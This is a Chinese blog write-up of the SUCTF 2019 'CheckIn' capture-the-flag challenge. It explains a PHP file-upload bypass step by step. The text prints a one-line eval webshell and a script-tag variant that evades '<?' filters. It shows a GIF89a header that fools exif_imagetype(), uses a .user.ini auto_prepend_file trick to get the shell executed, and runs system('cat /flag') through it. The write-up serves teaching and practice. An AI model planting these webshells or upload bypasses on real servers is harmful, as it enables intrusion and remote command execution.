[SUCTF 2019]CheckIn 1
[SUCTF 2019]CheckIn 1
知識點:
.user.ini .htaccess //知識點統細講放到最后,建議學習一下連接里面的內容
文件上傳內容檢測
一句話木馬
rce命令執行、蟻劍連接
題解:
1.正常的一句話木馬

上傳含有一句話木馬的 jpg、png、gif 圖片均回顯 <? in contents :從這里可以看出題目對文件內容做了限制,我們不能使用帶<?的一句話木馬
<?php @eval($_REQUEST['cmd']);?> //開始上傳圖片中寫入的一句話木馬
<script language="php">eval($_REQUEST['cmd']);</script> // 用于繞過 <?
還可以在前面加 幻術頭繞過 GIF89a(GIF圖片的ascii 值)
2.exif_imagetype()函數限制

成功過濾<? ,發現題目還用exif_imagetype() 函數 對上傳文件后綴進行了限制。
exif_imagetype()函數會讀取圖像的第一個字節,并檢查其簽名,如果發現了恰當的簽名則會返回相應的常量,否則返回false ,我們可以在一句話木馬前面加上一個GIF圖片文件頭前綴GIF89a進行繞過,讓函數誤認為我們是合法的后綴
GIF89a
<script language='php'>eval($_REQUEST['cmd']);</script>
//三種圖片的前綴
JPG :FF D8 FF E0 00 10 4A 46 49 46(16進制編碼)
GIF:47 49 46 38 39 61(ascll值是GIF89a)
PNG: 89 50 4E 47
3.user.ini文件
到現在我們就可以上傳成功一個圖片了,但它一句話木馬并不能被后臺服務器解析(可以使用PHPinfo驗證),所以這里我們應該怎末想????怎末去繞過???
在學習文件上傳時應該都學過, .htaccess 文件,可以把后綴為其他類型的圖片解析成php文件對,使我們上傳的圖片內容可以被解析,但是這里對 .htaccess文件也做了限制,,,所以我們就需要想其他的辦法。
<FilesMatch>
SetHandler application/x-httpd-php
</FilesMatch>
這里我們引入一個php目錄配置文件 .user.ini
作用:這里如果我們上傳一個.user.ini 文件,那么當我們訪問目錄中的任何php文件時,都會調用.user.ini中指的文件以php的形式進行讀取我
們在user.ini設置文件
//上傳.user.ini文件,條件如下:
(1)服務器腳本語言為PHP
(2)對應目錄下面有可執行的php文件 //index.php
(3)服務器使用CGI/FastCGI模式
上傳的文件內容
GIF89a //auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入。
auto_prepend_file=b.gif //需要注意上穿的文件名字要和設定的名字一樣,這里可以設定多個
成功上傳 .user.ini

上傳成功b.gif
GIF89a
<script language='php'>eval($_REQUEST['cmd']);</script>

4.用傳進去的cmd 進行rce
然后利用傳如shell (cmd參數) ,進行傳參
uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=var_dump(scandir("/")); // 掃描當前目錄下的文件,并打印出來
uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=system('cat /flag');
uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=var_dump(file_get_contents("/flag"));

或者直接利用蟻劍連接也可以拿到flag
題目涉及知識點詳解
一、.user.ini .htaccess 文件
php.ini是php的一個全局配置文件,對整個web服務起作用;而.user.ini和.htaccess一樣是目錄的配置文件。這里我們可以把.user.ini看作是用戶自定義的一個php.ini,并且可以利用這個文件來構造后門和隱藏后門。
.user.ini。它比.htaccess用的更廣,不管是nginx/apache/IIS,只要是以fastcgi運行的php都可以用這個方法。我的nginx服務器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可謂很廣,不像.htaccess有局限性。
舉個例子理解user.ini作用:
/*這是.user.ini的兩個配置
auto_prepend_file是在文件前插入
auto_append_file是在文件最后才插入*/
1.在user.ini 中設置
auto_prepend_file=b.gif
2.在b.gif中設置 一句話木馬
3.還有個php文件 如:前面做題中的index.php
如果這三個條件在同一個目錄下面,就會出先問題,這里就相當于 在index.php中寫了include "b.gif" , 可以進行文件包含,導致的后果是:當我們對目錄中的index.php進行訪問的時候,會調用.usre.ini 中的文件把b.gif文件以php的形式進行讀取,造成userini的漏洞
局限
在.user.ini中使用這條配置也說了是在同目錄下的其他.php 文件中包含配置中所指定的文件,也就是說需要該目錄下存在.php 文件,通常在文件上傳中,一般是專門有一個目錄用來存在圖片,可能小概率會存在.php 文件。
但是有時可以使用 ../ 來將文件上傳到其他目錄,達到一個利用的效果。
本文來自博客園,作者:Liberty碼農志,轉載請注明原文鏈接:http://www.rzrgm.cn/zhiliu/p/16825982.html

浙公網安備 33010602011771號